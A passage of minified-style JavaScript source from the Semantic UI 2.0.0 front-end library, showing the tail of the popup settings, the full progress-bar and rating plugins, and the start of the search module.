 onHide       : function(){},\n\n  // callback after hide animation\n  onHidden     : function(){},\n\n  // when to show popup\n  on           : 'hover',\n\n  // whether to add touchstart events when using hover\n  addTouchEvents : true,\n\n  // default position relative to element\n  position     : 'top left',\n\n  // name of variation to use\n  variation    : '',\n\n  // whether popup should be moved to context\n  movePopup      : true,\n\n  // element which popup should be relative to\n  target         : false,\n\n  // jq selector or element that should be used as popup\n  popup          : false,\n\n  // popup should remain inline next to activator\n  inline         : false,\n\n  // popup should be removed from page on hide\n  preserve       : true,\n\n  // popup should not close when being hovered on\n  hoverable      : false,\n\n  // explicitly set content\n  content      : false,\n\n  // explicitly set html\n  html         : false,\n\n  // explicitly set title\n  title        : false,\n\n  // whether automatically close on clickaway when on click\n  closable     : true,\n\n  // automatically hide on scroll\n  hideOnScroll : 'auto',\n\n  // hide other popups on show\n  exclusive    : false,\n\n  // context to attach popups\n  context      : 'body',\n\n  // position to prefer when calculating new position\n  prefer       : 'opposite',\n\n  // specify position to appear even if it doesn't fit\n  lastResort   : false,\n\n  // delay used to prevent accidental refiring of animations due to user error\n  delay        : {\n    show : 50,\n    hide : 70\n  },\n\n  // whether fluid variation should assign width explicitly\n  setFluidWidth  : true,\n\n  // transition settings\n  duration       : 200,\n  transition     : 'scale',\n\n  // distance away from activating element in px\n  distanceAway   : 0,\n\n  // offset on aligning axis from calculated position\n  offset         : 0,\n\n  // maximum times to look for a position before failing (9 positions total)\n  maxSearchDepth : 20,\n\n  error: {\n    invalidPosition : 'The position you specified is not a valid position',\n    cannotPlace     : 'No visible position could be found for the popup',\n    method          : 'The method you called is not defined.',\n    noTransition    : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>',\n    notFound        : 'The target or popup you specified does not exist on the page'\n  },\n\n  metadata: {\n    activator : 'activator',\n    content   : 'content',\n    html      : 'html',\n    offset    : 'offset',\n    position  : 'position',\n    title     : 'title',\n    variation : 'variation'\n  },\n\n  className   : {\n    active    : 'active',\n    animating : 'animating',\n    dropdown  : 'dropdown',\n    fluid     : 'fluid',\n    loading   : 'loading',\n    popup     : 'ui popup',\n    position  : 'top left center bottom right',\n    visible   : 'visible'\n  },\n\n  selector    : {\n    popup    : '.ui.popup'\n  },\n\n  templates: {\n    escape: function(string) {\n      var\n        badChars     = /[&<>\"'`]/g,\n        shouldEscape = /[&<>\"'`]/,\n        escape       = {\n          \"&\": \"&amp;\",\n          \"<\": \"&lt;\",\n          \">\": \"&gt;\",\n          '\"': \"&quot;\",\n          \"'\": \"&#x27;\",\n          \"`\": \"&#x60;\"\n        },\n        escapedChar  = function(chr) {\n          return escape[chr];\n        }\n      ;\n      if(shouldEscape.test(string)) {\n        return string.replace(badChars, escapedChar);\n      }\n      return string;\n    },\n    popup: function(text) {\n      var\n        html   = '',\n        escape = $.fn.popup.settings.templates.escape\n      ;\n      if(typeof text !== undefined) {\n        if(typeof text.title !== undefined && text.title) {\n          text.title = escape(text.title);\n          html += '<div class=\"header\">' + text.title + '</div>';\n        }\n        if(typeof text.content !== undefined && text.content) {\n          text.content = escape(text.content);\n          html += '<div class=\"content\">' + text.content + '</div>';\n        }\n      }\n      return html;\n    }\n  }\n\n};\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Progress\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.progress = function(parameters) {\n  var\n    $allModules    = $(this),\n\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.progress.settings, parameters)\n          : $.extend({}, $.fn.progress.settings),\n\n        className       = settings.className,\n        metadata        = settings.metadata,\n        namespace       = settings.namespace,\n        selector        = settings.selector,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $module         = $(this),\n        $bar            = $(this).find(selector.bar),\n        $progress       = $(this).find(selector.progress),\n        $label          = $(this).find(selector.label),\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        animating = false,\n        transitionEnd,\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing progress bar', settings);\n\n          module.set.duration();\n          module.set.transitionEvent();\n\n          module.read.metadata();\n          module.read.settings();\n\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of progress', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n        destroy: function() {\n          module.verbose('Destroying previous progress for', $module);\n          clearInterval(instance.interval);\n          module.remove.state();\n          $module.removeData(moduleNamespace);\n          instance = undefined;\n        },\n\n        reset: function() {\n          module.set.percent(0);\n        },\n\n        complete: function() {\n          if(module.percent === undefined || module.percent < 100) {\n            module.set.percent(100);\n          }\n        },\n\n        read: {\n          metadata: function() {\n            var\n              data = {\n                percent : $module.data(metadata.percent),\n                total   : $module.data(metadata.total),\n                value   : $module.data(metadata.value)\n              }\n            ;\n            if(data.percent) {\n              module.debug('Current percent value set from metadata', data.percent);\n              module.set.percent(data.percent);\n            }\n            if(data.total) {\n              module.debug('Total value set from metadata', data.total);\n              module.set.total(data.total);\n            }\n            if(data.value) {\n              module.debug('Current value set from metadata', data.value);\n              module.set.value(data.value);\n            }\n          },\n          settings: function() {\n            if(settings.total !== false) {\n              module.debug('Current total set in settings', settings.total);\n              module.set.total(settings.total);\n            }\n            if(settings.value !== false) {\n              module.debug('Current value set in settings', settings.value);\n              module.set.value(settings.value);\n              module.set.progress(module.value);\n            }\n            if(settings.percent !== false) {\n              module.debug('Current percent set in settings', settings.percent);\n              module.set.percent(settings.percent);\n            }\n          }\n        },\n\n        increment: function(incrementValue) {\n          var\n            maxValue,\n            startValue,\n            newValue\n          ;\n          if( module.has.total() ) {\n            startValue     = module.get.value();\n            incrementValue = incrementValue || 1;\n\n            newValue       = startValue + incrementValue;\n            maxValue       = module.get.total();\n\n            module.debug('Incrementing value', startValue, newValue, maxValue);\n            if(newValue > maxValue ) {\n              module.debug('Value cannot increment above total', maxValue);\n              newValue = maxValue;\n            }\n          }\n          else {\n            startValue     = module.get.percent();\n            incrementValue = incrementValue || module.get.randomValue();\n\n            newValue       = startValue + incrementValue;\n            maxValue       = 100;\n\n            module.debug('Incrementing percentage by', startValue, newValue);\n            if(newValue > maxValue ) {\n              module.debug('Value cannot increment above 100 percent');\n              newValue = maxValue;\n            }\n          }\n          module.set.progress(newValue);\n        },\n        decrement: function(decrementValue) {\n          var\n            total     = module.get.total(),\n            startValue,\n            newValue\n          ;\n          if(total) {\n            startValue     =  module.get.value();\n            decrementValue =  decrementValue || 1;\n            newValue       =  startValue - decrementValue;\n            module.debug('Decrementing value by', decrementValue, startValue);\n          }\n          else {\n            startValue     =  module.get.percent();\n            decrementValue =  decrementValue || module.get.randomValue();\n            newValue       =  startValue - decrementValue;\n            module.debug('Decrementing percentage by', decrementValue, startValue);\n          }\n\n          if(newValue < 0) {\n            module.debug('Value cannot decrement below 0');\n            newValue = 0;\n          }\n          module.set.progress(newValue);\n        },\n\n        has: {\n          total: function() {\n            return (module.get.total() !== false);\n          }\n        },\n\n        get: {\n          text: function(templateText) {\n            var\n              value   = module.value                || 0,\n              total   = module.total                || 0,\n              percent = (animating)\n                ? module.get.displayPercent()\n                : module.percent || 0,\n              left = (module.total > 0)\n                ? (total - value)\n                : (100 - percent)\n            ;\n            templateText = templateText || '';\n            templateText = templateText\n              .replace('{value}', value)\n              .replace('{total}', total)\n              .replace('{left}', left)\n              .replace('{percent}', percent)\n            ;\n            module.debug('Adding variables to progress bar text', templateText);\n            return templateText;\n          },\n\n\n          randomValue: function() {\n            module.debug('Generating random increment percentage');\n            return Math.floor((Math.random() * settings.random.max) + settings.random.min);\n          },\n\n          numericValue: function(value) {\n            return (typeof value === 'string')\n              ? (value.replace(/[^\\d.]/g, '') !== '')\n                ? +(value.replace(/[^\\d.]/g, ''))\n                : false\n              : value\n            ;\n          },\n\n          transitionEnd: function() {\n            var\n              element     = document.createElement('element'),\n              transitions = {\n                'transition'       :'transitionend',\n                'OTransition'      :'oTransitionEnd',\n                'MozTransition'    :'transitionend',\n                'WebkitTransition' :'webkitTransitionEnd'\n              },\n              transition\n            ;\n            for(transition in transitions){\n              if( element.style[transition] !== undefined ){\n                return transitions[transition];\n              }\n            }\n          },\n\n          // gets current displayed percentage (if animating values this is the intermediary value)\n          displayPercent: function() {\n            var\n              barWidth       = $bar.width(),\n              totalWidth     = $module.width(),\n              minDisplay     = parseInt($bar.css('min-width'), 10),\n              displayPercent = (barWidth > minDisplay)\n                ? (barWidth / totalWidth * 100)\n                : module.percent\n            ;\n            return (settings.precision > 0)\n              ? Math.round(displayPercent * (10 * settings.precision)) / (10 * settings.precision)\n              : Math.round(displayPercent)\n            ;\n          },\n\n          percent: function() {\n            return module.percent || 0;\n          },\n          value: function() {\n            return module.value || 0;\n          },\n          total: function() {\n            return module.total || false;\n          }\n        },\n\n        is: {\n          success: function() {\n            return $module.hasClass(className.success);\n          },\n          warning: function() {\n            return $module.hasClass(className.warning);\n          },\n          error: function() {\n            return $module.hasClass(className.error);\n          },\n          active: function() {\n            return $module.hasClass(className.active);\n          },\n          visible: function() {\n            return $module.is(':visible');\n          }\n        },\n\n        remove: {\n          state: function() {\n            module.verbose('Removing stored state');\n            delete module.total;\n            delete module.percent;\n            delete module.value;\n          },\n          active: function() {\n            module.verbose('Removing active state');\n            $module.removeClass(className.active);\n          },\n          success: function() {\n            module.verbose('Removing success state');\n            $module.removeClass(className.success);\n          },\n          warning: function() {\n            module.verbose('Removing warning state');\n            $module.removeClass(className.warning);\n          },\n          error: function() {\n            module.verbose('Removing error state');\n            $module.removeClass(className.error);\n          }\n        },\n\n        set: {\n          barWidth: function(value) {\n            if(value > 100) {\n              module.error(error.tooHigh, value);\n            }\n            else if (value < 0) {\n              module.error(error.tooLow, value);\n            }\n            else {\n              $bar\n                .css('width', value + '%')\n              ;\n              $module\n                .attr('data-percent', parseInt(value, 10))\n              ;\n            }\n          },\n          duration: function(duration) {\n            duration = duration || settings.duration;\n            duration = (typeof duration == 'number')\n              ? duration + 'ms'\n              : duration\n            ;\n            module.verbose('Setting progress bar transition duration', duration);\n            $bar\n              .css({\n                'transition-duration':  duration\n              })\n            ;\n          },\n          percent: function(percent) {\n            percent = (typeof percent == 'string')\n              ? +(percent.replace('%', ''))\n              : percent\n            ;\n            // round display percentage\n            percent = (settings.precision > 0)\n              ? Math.round(percent * (10 * settings.precision)) / (10 * settings.precision)\n              : Math.round(percent)\n            ;\n            module.percent = percent;\n            if( !module.has.total() ) {\n              module.value = (settings.precision > 0)\n                ? Math.round( (percent / 100) * module.total * (10 * settings.precision)) / (10 * settings.precision)\n                : Math.round( (percent / 100) * module.total * 10) / 10\n              ;\n              if(settings.limitValues) {\n                module.value = (module.value > 100)\n                  ? 100\n                  : (module.value < 0)\n                    ? 0\n                    : module.value\n                ;\n              }\n            }\n            module.set.barWidth(percent);\n            module.set.labelInterval();\n            module.set.labels();\n            settings.onChange.call(element, percent, module.value, module.total);\n          },\n          labelInterval: function() {\n            var\n              animationCallback = function() {\n                module.verbose('Bar finished animating, removing continuous label updates');\n                clearInterval(module.interval);\n                animating = false;\n                module.set.labels();\n              }\n            ;\n            clearInterval(module.interval);\n            $bar.one(transitionEnd + eventNamespace, animationCallback);\n            module.timer = setTimeout(animationCallback, settings.duration + 100);\n            animating = true;\n            module.interval = setInterval(module.set.labels, settings.framerate);\n          },\n          labels: function() {\n            module.verbose('Setting both bar progress and outer label text');\n            module.set.barLabel();\n            module.set.state();\n          },\n          label: function(text) {\n            text = text || '';\n            if(text) {\n              text = module.get.text(text);\n              module.debug('Setting label to text', text);\n              $label.text(text);\n            }\n          },\n          state: function(percent) {\n            percent = (percent !== undefined)\n              ? percent\n              : module.percent\n            ;\n            if(percent === 100) {\n              if(settings.autoSuccess && !(module.is.warning() || module.is.error())) {\n                module.set.success();\n                module.debug('Automatically triggering success at 100%');\n              }\n              else {\n                module.verbose('Reached 100% removing active state');\n                module.remove.active();\n              }\n            }\n            else if(percent > 0) {\n              module.verbose('Adjusting active progress bar label', percent);\n              module.set.active();\n            }\n            else {\n              module.remove.active();\n              module.set.label(settings.text.active);\n            }\n          },\n          barLabel: function(text) {\n            if(text !== undefined) {\n              $progress.text( module.get.text(text) );\n            }\n            else if(settings.label == 'ratio' && module.total) {\n              module.debug('Adding ratio to bar label');\n              $progress.text( module.get.text(settings.text.ratio) );\n            }\n            else if(settings.label == 'percent') {\n              module.debug('Adding percentage to bar label');\n              $progress.text( module.get.text(settings.text.percent) );\n            }\n          },\n          active: function(text) {\n            text = text || settings.text.active;\n            module.debug('Setting active state');\n            if(settings.showActivity && !module.is.active() ) {\n              $module.addClass(className.active);\n            }\n            module.remove.warning();\n            module.remove.error();\n            module.remove.success();\n            if(text) {\n              module.set.label(text);\n            }\n            settings.onActive.call(element, module.value, module.total);\n          },\n          success : function(text) {\n            text = text || settings.text.success;\n            module.debug('Setting success state');\n            $module.addClass(className.success);\n            module.remove.active();\n            module.remove.warning();\n            module.remove.error();\n            module.complete();\n            if(text) {\n              module.set.label(text);\n            }\n            settings.onSuccess.call(element, module.total);\n          },\n          warning : function(text) {\n            text = text || settings.text.warning;\n            module.debug('Setting warning state');\n            $module.addClass(className.warning);\n            module.remove.active();\n            module.remove.success();\n            module.remove.error();\n            module.complete();\n            if(text) {\n              module.set.label(text);\n            }\n            settings.onWarning.call(element, module.value, module.total);\n          },\n          error : function(text) {\n            text = text || settings.text.error;\n            module.debug('Setting error state');\n            $module.addClass(className.error);\n            module.remove.active();\n            module.remove.success();\n            module.remove.warning();\n            module.complete();\n            if(text) {\n              module.set.label(text);\n            }\n            settings.onError.call(element, module.value, module.total);\n          },\n          transitionEvent: function() {\n            transitionEnd = module.get.transitionEnd();\n          },\n          total: function(totalValue) {\n            module.total = totalValue;\n          },\n          value: function(value) {\n            module.value = value;\n          },\n          progress: function(value) {\n            var\n              numericValue = module.get.numericValue(value),\n              percentComplete\n            ;\n            if(numericValue === false) {\n              module.error(error.nonNumeric, value);\n            }\n            if( module.has.total() ) {\n              module.set.value(numericValue);\n              percentComplete = (numericValue / module.total) * 100;\n              module.debug('Calculating percent complete from total', percentComplete);\n              module.set.percent( percentComplete );\n            }\n            else {\n              percentComplete = numericValue;\n              module.debug('Setting value to exact percentage value', percentComplete);\n              module.set.percent( percentComplete );\n            }\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.progress.settings = {\n\n  name         : 'Progress',\n  namespace    : 'progress',\n\n  debug        : true,\n  verbose      : false,\n  performance  : true,\n\n  random       : {\n    min : 2,\n    max : 5\n  },\n\n  duration     : 300,\n\n  autoSuccess  : true,\n  showActivity : true,\n  limitValues  : true,\n\n  label        : 'percent',\n  precision    : 0,\n  framerate    : (1000 / 30), /// 30 fps\n\n  percent      : false,\n  total        : false,\n  value        : false,\n\n  onChange     : function(percent, value, total){},\n  onSuccess    : function(total){},\n  onActive     : function(value, total){},\n  onError      : function(value, total){},\n  onWarning    : function(value, total){},\n\n  error    : {\n    method     : 'The method you called is not defined.',\n    nonNumeric : 'Progress value is non numeric',\n    tooHigh    : 'Value specified is above 100%',\n    tooLow     : 'Value specified is below 0%'\n  },\n\n  regExp: {\n    variable: /\\{\\$*[A-z0-9]+\\}/g\n  },\n\n  metadata: {\n    percent : 'percent',\n    total   : 'total',\n    value   : 'value'\n  },\n\n  selector : {\n    bar      : '> .bar',\n    label    : '> .label',\n    progress : '.bar > .progress'\n  },\n\n  text : {\n    active  : false,\n    error   : false,\n    success : false,\n    warning : false,\n    percent : '{percent}%',\n    ratio   : '{value} of {total}'\n  },\n\n  className : {\n    active  : 'active',\n    error   : 'error',\n    success : 'success',\n    warning : 'warning'\n  }\n\n};\n\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Rating\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.rating = function(parameters) {\n  var\n    $allModules     = $(this),\n    moduleSelector  = $allModules.selector || '',\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.rating.settings, parameters)\n          : $.extend({}, $.fn.rating.settings),\n\n        namespace       = settings.namespace,\n        className       = settings.className,\n        metadata        = settings.metadata,\n        selector        = settings.selector,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        element         = this,\n        instance        = $(this).data(moduleNamespace),\n\n        $module         = $(this),\n        $icon           = $module.find(selector.icon),\n\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.verbose('Initializing rating module', settings);\n\n          if($icon.length === 0) {\n            module.setup.layout();\n          }\n\n          if(settings.interactive) {\n            module.enable();\n          }\n          else {\n            module.disable();\n          }\n          module.set.rating( module.get.initialRating() );\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Instantiating module', settings);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous instance', instance);\n          module.remove.events();\n          $module\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        refresh: function() {\n          $icon   = $module.find(selector.icon);\n        },\n\n        setup: {\n          layout: function() {\n            var\n              maxRating = module.get.maxRating(),\n              html      = $.fn.rating.settings.templates.icon(maxRating)\n            ;\n            module.debug('Generating icon html dynamically');\n            $module\n              .html(html)\n            ;\n            module.refresh();\n          }\n        },\n\n        event: {\n          mouseenter: function() {\n            var\n              $activeIcon = $(this)\n            ;\n            $activeIcon\n              .nextAll()\n                .removeClass(className.selected)\n            ;\n            $module\n              .addClass(className.selected)\n            ;\n            $activeIcon\n              .addClass(className.selected)\n                .prevAll()\n                .addClass(className.selected)\n            ;\n          },\n          mouseleave: function() {\n            $module\n              .removeClass(className.selected)\n            ;\n            $icon\n              .removeClass(className.selected)\n            ;\n          },\n          click: function() {\n            var\n              $activeIcon   = $(this),\n              currentRating = module.get.rating(),\n              rating        = $icon.index($activeIcon) + 1,\n              canClear      = (settings.clearable == 'auto')\n               ? ($icon.length === 1)\n               : settings.clearable\n            ;\n            if(canClear && currentRating == rating) {\n              module.clearRating();\n            }\n            else {\n              module.set.rating( rating );\n            }\n          }\n        },\n\n        clearRating: function() {\n          module.debug('Clearing current rating');\n          module.set.rating(0);\n        },\n\n        bind: {\n          events: function() {\n            module.verbose('Binding events');\n            $module\n              .on('mouseenter' + eventNamespace, selector.icon, module.event.mouseenter)\n              .on('mouseleave' + eventNamespace, selector.icon, module.event.mouseleave)\n              .on('click'      + eventNamespace, selector.icon, module.event.click)\n            ;\n          }\n        },\n\n        remove: {\n          events: function() {\n            module.verbose('Removing events');\n            $module\n              .off(eventNamespace)\n            ;\n          }\n        },\n\n        enable: function() {\n          module.debug('Setting rating to interactive mode');\n          module.bind.events();\n          $module\n            .removeClass(className.disabled)\n          ;\n        },\n\n        disable: function() {\n          module.debug('Setting rating to read-only mode');\n          module.remove.events();\n          $module\n            .addClass(className.disabled)\n          ;\n        },\n\n        get: {\n          initialRating: function() {\n            if($module.data(metadata.rating) !== undefined) {\n              $module.removeData(metadata.rating);\n              return $module.data(metadata.rating);\n            }\n            return settings.initialRating;\n          },\n          maxRating: function() {\n            if($module.data(metadata.maxRating) !== undefined) {\n              $module.removeData(metadata.maxRating);\n              return $module.data(metadata.maxRating);\n            }\n            return settings.maxRating;\n          },\n          rating: function() {\n            var\n              currentRating = $icon.filter('.' + className.active).length\n            ;\n            module.verbose('Current rating retrieved', currentRating);\n            return currentRating;\n          }\n        },\n\n        set: {\n          rating: function(rating) {\n            var\n              ratingIndex = (rating - 1 >= 0)\n                ? (rating - 1)\n                : 0,\n              $activeIcon = $icon.eq(ratingIndex)\n            ;\n            $module\n              .removeClass(className.selected)\n            ;\n            $icon\n              .removeClass(className.selected)\n              .removeClass(className.active)\n            ;\n            if(rating > 0) {\n              module.verbose('Setting current rating to', rating);\n              $activeIcon\n                .prevAll()\n                .andSelf()\n                  .addClass(className.active)\n              ;\n            }\n            settings.onRate.call(element, rating);\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.rating.settings = {\n\n  name          : 'Rating',\n  namespace     : 'rating',\n\n  debug         : false,\n  verbose       : false,\n  performance   : true,\n\n  initialRating : 0,\n  interactive   : true,\n  maxRating     : 4,\n  clearable     : 'auto',\n\n  onRate        : function(rating){},\n\n  error         : {\n    method    : 'The method you called is not defined',\n    noMaximum : 'No maximum rating specified. Cannot generate HTML automatically'\n  },\n\n\n  metadata: {\n    rating    : 'rating',\n    maxRating : 'maxRating'\n  },\n\n  className : {\n    active   : 'active',\n    disabled : 'disabled',\n    selected : 'selected',\n    loading  : 'loading'\n  },\n\n  selector  : {\n    icon : '.icon'\n  },\n\n  templates: {\n    icon: function(maxRating) {\n      var\n        icon = 1,\n        html = ''\n      ;\n      while(icon <= maxRating) {\n        html += '<i class=\"icon\"></i>';\n        icon++;\n      }\n      return html;\n    }\n  }\n\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Search\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.search = function(parameters) {\n  var\n    $allModules     = 